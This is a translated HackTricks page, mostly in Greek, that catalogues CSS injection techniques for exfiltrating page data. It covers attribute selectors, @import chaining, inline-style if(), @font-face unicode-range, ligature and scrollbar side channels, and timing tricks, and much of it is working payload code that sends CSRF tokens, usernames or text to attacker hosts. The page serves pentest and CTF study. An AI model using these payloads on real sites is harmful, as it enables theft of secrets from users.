CSS Injection

Reading time: 25 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

CSS Injection

Επιλογέας Χαρακτηριστικού

Οι επιλογείς CSS κατασκευάζονται ώστε να ταιριάζουν με τις τιμές των ιδιοτήτων name και value ενός στοιχείου input. Αν το value attribute του στοιχείου input ξεκινά με έναν συγκεκριμένο χαρακτήρα, τότε φορτώνεται ένας προεπιλεγμένος εξωτερικός πόρος:

css
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}

Ωστόσο, αυτή η προσέγγιση αντιμετωπίζει έναν περιορισμό όταν χειρίζεται κρυφά input στοιχεία (type="hidden"), επειδή τα κρυφά στοιχεία δεν φορτώνουν εικόνες φόντου.

Παράκαμψη για Κρυφά Στοιχεία

Για να παρακάμψετε αυτόν τον περιορισμό, μπορείτε να στοχεύσετε το επόμενο αδερφικό στοιχείο χρησιμοποιώντας τον γενικό συνδυαστή αδερφικών στοιχείων ~. Ο κανόνας CSS εφαρμόζεται τότε σε όλα τα αδερφικά στοιχεία που ακολουθούν το κρυφό input στοιχείο, προκαλώντας τη φόρτωση της εικόνας φόντου:

css
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

Ένα πρακτικό παράδειγμα εκμετάλλευσης αυτής της τεχνικής περιγράφεται στο παρεχόμενο απόσπασμα κώδικα. Μπορείτε να το δείτε εδώ.

Προαπαιτούμενα για CSS Injection

Για να είναι αποτελεσματική η τεχνική CSS Injection, πρέπει να πληρούνται ορισμένες προϋποθέσεις:

  1. Payload Length: Το CSS injection vector πρέπει να υποστηρίζει επαρκώς μεγάλα payloads ώστε να χωράνε οι crafted selectors.
  2. CSS Re-evaluation: Θα πρέπει να έχετε τη δυνατότητα να ενσωματώσετε (frame) τη σελίδα, κάτι που είναι απαραίτητο για να προκληθεί η επανεκτίμηση του CSS με νέα payloads.
  3. External Resources: Η τεχνική υποθέτει τη δυνατότητα χρήσης εξωτερικά φιλοξενούμενων εικόνων. Αυτό μπορεί να περιορίζεται από την Content Security Policy (CSP) του ιστότοπου.

Blind Attribute Selector

Όπως εξηγείται σε αυτήν την ανάρτηση, είναι δυνατόν να συνδυάσετε τους selectors :has και :not για να εντοπίσετε περιεχόμενο ακόμα και από blind elements. Αυτό είναι πολύ χρήσιμο όταν δεν έχετε ιδέα τι υπάρχει μέσα στη σελίδα που φορτώνει το CSS injection.
Είναι επίσης δυνατό να χρησιμοποιήσετε αυτούς τους selectors για να εξάγετε πληροφορίες από πολλαπλά blocks του ίδιου τύπου όπως στο:

html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />

Συνδυάζοντας αυτό με την ακόλουθη τεχνική @import, είναι δυνατόν να εξάγετε πολλές πληροφορίες χρησιμοποιώντας CSS injection από blind pages με blind-css-exfiltration.

@import

Η προηγούμενη τεχνική έχει κάποια μειονεκτήματα — έλεγξε τις προαπαιτήσεις. Είτε πρέπει να μπορείς να send multiple links to the victim, είτε πρέπει να μπορείς να iframe the CSS injection vulnerable page.

Ωστόσο, υπάρχει μια άλλη έξυπνη τεχνική που χρησιμοποιεί CSS @import για να βελτιώσει την απόδοση της τεχνικής.

Αυτό παρουσιάστηκε πρώτα από τον Pepe Vila και λειτουργεί ως εξής:

Αντί να φορτώνουμε την ίδια σελίδα ξανά και ξανά με δεκάδες διαφορετικά payloads κάθε φορά (όπως στην προηγούμενη), θα load the page just once and just with an import to the attackers server (this is the payload to send to the victim):

css
@import url("//attacker.com:5001/start?");
  1. Το import πρόκειται να λάβει κάποιο CSS script από τους attackers και ο browser θα το φορτώσει.
  2. Το πρώτο μέρος του CSS script που θα στείλει ο attacker είναι άλλο ένα @import προς τον attackers server ξανά.
  3. Ο attackers server δεν θα απαντήσει ακόμα σε αυτό το αίτημα, καθώς θέλουμε να leak μερικούς χαρακτήρες και μετά να απαντήσουμε αυτό το import με το payload για να leak τους επόμενους.
  4. Το δεύτερο και μεγαλύτερο μέρος του payload θα είναι ένα attribute selector leakage payload
  5. Αυτό θα στείλει στον attackers server τον πρώτο χαρακτήρα του μυστικού και τον τελευταίο
  6. Μόλις ο attackers server λάβει τον πρώτο και τον τελευταίο χαρακτήρα του μυστικού, θα απαντήσει στο import που ζητήθηκε στο βήμα 2.
  7. Η απάντηση θα είναι ακριβώς η ίδια με τα βήματα 2, 3 και 4, αλλά αυτή τη φορά θα προσπαθήσει να βρει τον δεύτερο χαρακτήρα του μυστικού και μετά τον προτελευταίο.

Ο attacker θα ακολουθήσει αυτό το loop μέχρι να καταφέρει να leak εντελώς το μυστικό.

Μπορείτε να βρείτε τον αρχικό κώδικα του Pepe Vila για την εκμετάλλευση αυτού εδώ ή μπορείτε να βρείτε σχεδόν τον ίδιο κώδικα αλλά σχολιασμένο εδώ.

tip

Το script θα προσπαθήσει να ανακαλύψει 2 chars κάθε φορά (από την αρχή και από το τέλος) επειδή ο attribute selector επιτρέπει να γίνει κάτι όπως:

/* value^=  to match the beggining of the value*/
input[value^="0"] {
 --s0: url(http://localhost:5001/leak?pre=0);
}

/* value$=  to match the ending of the value*/
input[value$="f"] {
 --e0: url(http://localhost:5001/leak?post=f);
}

Αυτό επιτρέπει στο script να leak το μυστικό πιο γρήγορα.

warning

Κάποιες φορές το script δεν ανιχνεύει σωστά ότι το prefix + suffix που ανακαλύφθηκαν είναι ήδη το πλήρες flag και θα συνεχίσει προς τα εμπρός (στο prefix) και προς τα πίσω (στο suffix) και κάποια στιγμή θα κολλήσει.
Μην ανησυχείτε, απλώς ελέγξτε την έξοδο γιατί μπορείτε να δείτε εκεί το flag.

Inline-Style CSS Exfiltration (attr() + if() + image-set())

This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.

warning

Equality comparisons in if() require double quotes for string literals. Single quotes will not match.

  • Sink: έλεγχος του style attribute ενός στοιχείου και βεβαιωθείτε ότι το target attribute βρίσκεται στο ίδιο στοιχείο (η attr() διαβάζει μόνο attributes του ίδιου στοιχείου).
  • Read: αντιγράψτε το attribute σε μια CSS μεταβλητή: --val: attr(title).
  • Decide: επιλέξτε ένα URL χρησιμοποιώντας nested conditionals που συγκρίνουν τη μεταβλητή με string υποψήφιους: --steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2)).
  • Exfiltrate: εφαρμόστε background: image-set(var(--steal)) (ή οποιαδήποτε fetching property) για να αναγκάσετε ένα request προς το επιλεγμένο endpoint.

Attempt (does not work; single quotes in comparison):

html
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>

Λειτουργικό payload (απαιτούνται διπλά εισαγωγικά στη σύγκριση):

html
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>

Απαρίθμηση τιμών χαρακτηριστικών με εμφωλευμένες συνθήκες:

html
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>

Ρεαλιστική επίδειξη (probing usernames):

html
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>

Σημειώσεις και περιορισμοί:

  • Λειτουργεί σε περιηγητές βασισμένους σε Chromium τη στιγμή της έρευνας· η συμπεριφορά μπορεί να διαφέρει σε άλλες μηχανές.
  • Κατάλληλο κυρίως για πεπερασμένους/μετρήσιμους χώρους τιμών (IDs, flags, short usernames). Η κλοπή αυθαίρετα μεγάλων συμβολοσειρών χωρίς εξωτερικά stylesheets παραμένει δύσκολη.
  • Οποιαδήποτε ιδιότητα CSS που αντλεί ένα URL μπορεί να χρησιμοποιηθεί για να ενεργοποιήσει το αίτημα (π.χ., background/image-set, border-image, list-style, cursor, content).

Αυτοματοποίηση: ένα Burp Custom Action μπορεί να δημιουργήσει nested inline-style payloads για να brute-force τις τιμές των attributes: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda

Άλλοι selectors

Άλλοι τρόποι πρόσβασης σε μέρη του DOM με CSS selectors:

  • .class-to-search:nth-child(2): Αυτό θα αναζητήσει το δεύτερο στοιχείο με κλάση "class-to-search" στο DOM.
  • :empty selector: Used for example in this writeup:
css
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}

Αναφορά: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq

Ο γενικός σκοπός είναι να χρησιμοποιηθεί μια προσαρμοσμένη γραμματοσειρά από ένα ελεγχόμενο endpoint και να διασφαλιστεί ότι το κείμενο (σε αυτή την περίπτωση, 'A') εμφανίζεται με αυτή τη γραμματοσειρά μόνο εάν ο συγκεκριμένος πόρος (favicon.ico) δεν μπορεί να φορτωθεί.

html
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}

#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Χρήση Προσαρμοσμένης Γραμματοσειράς:
  • Μια προσαρμοσμένη γραμματοσειρά ορίζεται χρησιμοποιώντας τον κανόνα @font-face μέσα σε μια <style> ετικέτα στην ενότητα <head>.
  • Η γραμματοσειρά ονομάζεται poc και ανακτάται από ένα εξωτερικό endpoint (http://attacker.com/?leak).
  • Η ιδιότητα unicode-range ορίζεται σε U+0041, στοχεύοντας τον συγκεκριμένο χαρακτήρα Unicode 'A'.
  1. Στοιχείο Object με Εφεδρικό Κείμενο:
  • Ένα στοιχείο <object> με id="poc0" δημιουργείται στην ενότητα <body>. Αυτό το στοιχείο προσπαθεί να φορτώσει έναν πόρο από http://192.168.0.1/favicon.ico.
  • Η ιδιότητα font-family για αυτό το στοιχείο ορίζεται σε 'poc', όπως ορίζεται στην ενότητα <style>.
  • Εάν ο πόρος (favicon.ico) δεν φορτωθεί, το εφεδρικό περιεχόμενο (το γράμμα 'A') εντός του <object> εμφανίζεται.
  • Το εφεδρικό περιεχόμενο ('A') θα αποδοθεί χρησιμοποιώντας την προσαρμοσμένη γραμματοσειρά poc εάν ο εξωτερικός πόρος δεν μπορεί να φορτωθεί.

Στυλ για το Scroll-to-Text Fragment

Η :target pseudo-class χρησιμοποιείται για να επιλέξει ένα στοιχείο που στοχεύεται από ένα URL fragment, όπως ορίζεται στην CSS Selectors Level 4 specification. Είναι κρίσιμο να κατανοήσουμε ότι το ::target-text δεν ταιριάζει με κανένα στοιχείο εκτός εάν το κείμενο στοχεύεται ρητά από το fragment.

Προκύπτει ένα ζήτημα ασφάλειας όταν επιτιθέμενοι εκμεταλλεύονται τη λειτουργία του Scroll-to-text fragment, επιτρέποντάς τους να επιβεβαιώσουν την παρουσία συγκεκριμένου κειμένου σε μια ιστοσελίδα φορτώνοντας έναν πόρο από τον server τους μέσω HTML injection. Η μέθοδος περιλαμβάνει την έγχυση ενός CSS κανόνα όπως ο ακόλουθος:

css
:target::before {
content: url(target.png);
}

Σε τέτοια σενάρια, εάν το κείμενο "Administrator" υπάρχει στη σελίδα, ο πόρος target.png ζητείται από τον διακομιστή, υποδεικνύοντας την παρουσία του κειμένου. Μια περίπτωση αυτής της επίθεσης μπορεί να εκτελεστεί μέσω ενός ειδικά κατασκευασμένου URL που ενσωματώνει το injected CSS μαζί με ένα Scroll-to-text fragment:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

Εδώ, η επίθεση χειρίζεται HTML injection για να μεταδώσει τον CSS κώδικα, στοχεύοντας στο συγκεκριμένο κείμενο "Administrator" μέσω του Scroll-to-text fragment (#:~:text=Administrator). Αν το κείμενο βρεθεί, ο υποδεικνυόμενος πόρος φορτώνεται, άθελά του υποδεικνύοντας την παρουσία του στον attacker.

Για την αντιμετώπιση, πρέπει να σημειωθούν τα εξής:

  1. Constrained STTF Matching: Το Scroll-to-text Fragment (STTF) έχει σχεδιαστεί να ταιριάζει μόνο λέξεις ή προτάσεις, περιορίζοντας έτσι την ικανότητά του να leak αυθαίρετα secrets ή tokens.
  2. Restriction to Top-level Browsing Contexts: Το STTF λειτουργεί αποκλειστικά σε top-level browsing contexts και δεν λειτουργεί μέσα σε iframes, κάνοντας κάθε exploitation attempt πιο εμφανή στον user.
  3. Necessity of User Activation: Το STTF απαιτεί ένα user-activation gesture για να λειτουργήσει, που σημαίνει ότι οι exploitations είναι δυνατές μόνο μέσω user-initiated navigations. Αυτή η απαίτηση μειώνει σημαντικά τον κίνδυνο οι attacks να αυτοματοποιηθούν χωρίς user interaction. Παρ' όλα αυτά, ο συγγραφέας του blog post επισημαίνει συγκεκριμένες συνθήκες και bypasses (π.χ. social engineering, αλληλεπίδραση με διαδεδομένα browser extensions) που μπορεί να διευκολύνουν την automation της επίθεσης.

Η ευαισθητοποίηση για αυτούς τους μηχανισμούς και τις πιθανές ευπάθειες είναι κρίσιμη για τη διατήρηση της web security και την προστασία από τέτοιες εκμεταλλευτικές τακτικές.

Για περισσότερες πληροφορίες δείτε την πρωτότυπη αναφορά: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

Μπορείτε να δείτε ένα exploit using this technique for a CTF here.

@font-face / unicode-range

Μπορείτε να καθορίσετε εξωτερικές γραμματοσειρές για συγκεκριμένες τιμές unicode που θα μόνο συλλεχθούν αν αυτές οι τιμές unicode υπάρχουν στη σελίδα. Για παράδειγμα:

html
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>

<p id="sensitive-information">AB</p>
htm

Όταν ανοίγετε αυτή τη σελίδα, Chrome και Firefox κάνουν fetch "?A" και "?B" επειδή το text node του sensitive-information περιέχει τους χαρακτήρες "A" και "B". Αλλά Chrome και Firefox δεν κάνουν fetch "?C" επειδή δεν περιέχει "C". Αυτό σημαίνει ότι καταφέραμε να διαβάσουμε "A" και "B".

Text node exfiltration (I): ligatures

Αναφορά: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

Η τεχνική που περιγράφεται περιλαμβάνει την εξαγωγή κειμένου από έναν κόμβο εκμεταλλευόμενη font ligatures και την παρακολούθηση αλλαγών στο width. Η διαδικασία περιλαμβάνει τα εξής βήματα:

  1. Creation of Custom Fonts:
  • Δημιουργούνται SVG fonts με glyphs που έχουν το attribute horiz-adv-x, το οποίο θέτει μεγάλο width για ένα glyph που αντιπροσωπεύει μια ακολουθία δύο χαρακτήρων.
  • Παράδειγμα SVG glyph: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, όπου "XY" δηλώνει ακολουθία δύο χαρακτήρων.
  • Αυτά τα fonts μετατρέπονται σε woff χρησιμοποιώντας fontforge.
  1. Detection of Width Changes:
  • Χρησιμοποιείται CSS για να αποφευχθεί το wrapping του κειμένου (white-space: nowrap) και για να προσαρμοστεί το style του scrollbar.
  • Η εμφάνιση ενός οριζόντιου scrollbar, με ξεχωριστό styling, λειτουργεί ως δείκτης (oracle) ότι ένα συγκεκριμένο ligature — και επομένως μια συγκεκριμένη ακολουθία χαρακτήρων — υπάρχει στο κείμενο.
  • The CSS involved:
css
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
  1. Exploit Process:
  • Step 1: Δημιουργούνται fonts για ζευγάρια χαρακτήρων με μεγάλο width.
  • Step 2: Χρησιμοποιείται ένα scrollbar-based trick για να ανιχνευθεί πότε το μεγάλο-width glyph (ligature για το ζευγάρι χαρακτήρων) αποδίδεται, υποδεικνύοντας την παρουσία της ακολουθίας χαρακτήρων.
  • Step 3: Μετά την ανίχνευση ενός ligature, γίνονται νέες glyphs που αντιπροσωπεύουν ακολουθίες τριών χαρακτήρων, ενσωματώνοντας το ανιχνευμένο ζευγάρι και προσθέτοντας έναν προηγούμενο ή επακόλουθο χαρακτήρα.
  • Step 4: Γίνεται ανίχνευση του ligature τριών χαρακτήρων.
  • Step 5: Η διαδικασία επαναλαμβάνεται, αποκαλύπτοντας προοδευτικά όλο το κείμενο.
  1. Optimization:
  • Η τρέχουσα μέθοδος αρχικοποίησης με <meta refresh=... δεν είναι ιδανική.
  • Μια πιο αποδοτική προσέγγιση θα μπορούσε να περιλαμβάνει το CSS @import trick, βελτιώνοντας την απόδοση του exploit.

Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)

Reference: PoC using Comic Sans by @Cgvwzq & @Terjanq

Αυτό το trick δημοσιοποιήθηκε σε αυτό το Slackers thread. Το charset που χρησιμοποιείται σε ένα text node μπορεί να γίνει leaked χρησιμοποιώντας τα default fonts εγκατεστημένα στον browser: δεν χρειάζονται external ή custom fonts.

Η ιδέα βασίζεται στη χρήση ενός animation που επεκτείνει σταδιακά το width ενός div, επιτρέποντας έναν χαρακτήρα κάθε φορά να μεταβεί από το 'suffix' στο 'prefix'. Αυτή η διαδικασία χωρίζει το κείμενο σε δύο τμήματα:

  1. Prefix: Η αρχική γραμμή.
  2. Suffix: Η/οι επόμενες γραμμή/ές.

Τα στάδια της μετάβασης των χαρακτήρων θα εμφανίζονται ως εξής:

C
ADB

CA
DB

CAD
B

CADB

Κατά τη διάρκεια αυτής της μετάβασης, χρησιμοποιείται το unicode-range trick για να αναγνωριστεί κάθε νέος χαρακτήρας καθώς ενώνεται με το prefix. Αυτό επιτυγχάνεται αλλάζοντας το font σε Comic Sans, που είναι αισθητά ψηλότερο από το default font, προκαλώντας έτσι την εμφάνιση ενός vertical scrollbar. Η εμφάνιση αυτού του scrollbar αποκαλύπτει έμμεσα την παρουσία ενός νέου χαρακτήρα στο prefix.

Παρόλο που αυτή η μέθοδος επιτρέπει την ανίχνευση μοναδικών χαρακτήρων καθώς εμφανίζονται, δεν προσδιορίζει ποιος χαρακτήρας επαναλαμβάνεται — μόνο ότι έχει συμβεί επανάληψη.

tip

Βασικά, το unicode-range is used to detect a char, αλλά καθώς δεν θέλουμε να φορτώσουμε ένα εξωτερικό font, πρέπει να βρούμε άλλη λύση.
Όταν ο char βρεθεί, του δίνεται το προεγκατεστημένο Comic Sans font, που κάνει τον char μεγαλύτερο και ενεργοποιεί ένα scroll bar το οποίο θα leak the found char.

Δείτε τον κώδικα που εξήχθη από το PoC:

css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets)

Αναφορά: Αυτό αναφέρεται ως an unsuccessful solution in this writeup

Αυτή η περίπτωση είναι πολύ παρόμοια με την προηγούμενη, ωστόσο εδώ ο στόχος του να γίνουν συγκεκριμένοι χαρακτήρες πιο μεγάλοι από άλλους ώστε να κρυφτεί κάτι είναι για να κρυφτεί κάτι όπως ένα κουμπί ώστε να μην πατηθεί από το bot ή μια εικόνα που δεν θα φορτωθεί. Έτσι μπορούμε να μετρήσουμε τη δράση (ή την έλλειψη της δράσης) και να ξέρουμε αν ένας συγκεκριμένος χαρακτήρας υπάρχει μέσα στο κείμενο.

Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)

Αναφορά: Αυτό αναφέρεται ως an unsuccessful solution in this writeup

Σε αυτή την περίπτωση, θα μπορούσαμε να προσπαθήσουμε να leak αν ένας χαρακτήρας βρίσκεται στο κείμενο φορτώνοντας μια ψεύτικη γραμματοσειρά από την ίδια προέλευση:

css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

Αν υπάρχει αντιστοιχία, η γραμματοσειρά θα φορτωθεί από /static/bootstrap.min.css?q=1. Παρόλο που δεν θα φορτώσει επιτυχώς, ο browser θα πρέπει να το αποθηκεύσει στην cache, και ακόμα κι αν δεν υπάρχει cache, υπάρχει ο μηχανισμός 304 not modified, οπότε η απάντηση θα πρέπει να είναι ταχύτερη από άλλα πράγματα.

Ωστόσο, αν η διαφορά χρόνου της cached απάντησης σε σχέση με την μη-cached δεν είναι αρκετά μεγάλη, αυτό δεν θα είναι χρήσιμο. Για παράδειγμα, ο συγγραφέας ανέφερε: «Μετά τις δοκιμές, διαπίστωσα ότι το πρώτο πρόβλημα είναι ότι η ταχύτητα δεν διαφέρει πολύ, και το δεύτερο πρόβλημα είναι ότι το bot χρησιμοποιεί τη σημαία disk-cache-size=1, κάτι που είναι πραγματικά προσεγμένο.»

Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets)

Reference: Αυτό αναφέρεται ως μη επιτυχής λύση σε αυτό το writeup

Σε αυτήν την περίπτωση μπορείτε να υποδείξετε CSS για να φορτώσετε εκατοντάδες ψεύτικες γραμματοσειρές από την ίδια προέλευση όταν συμβεί η αντιστοίχιση. Με αυτόν τον τρόπο μπορείτε να μετρήσετε τον χρόνο που απαιτείται και να διαπιστώσετε αν ένας χαρακτήρας εμφανίζεται ή όχι με κάτι σαν:

css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

Και ο κώδικας του bot φαίνεται έτσι:

python
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

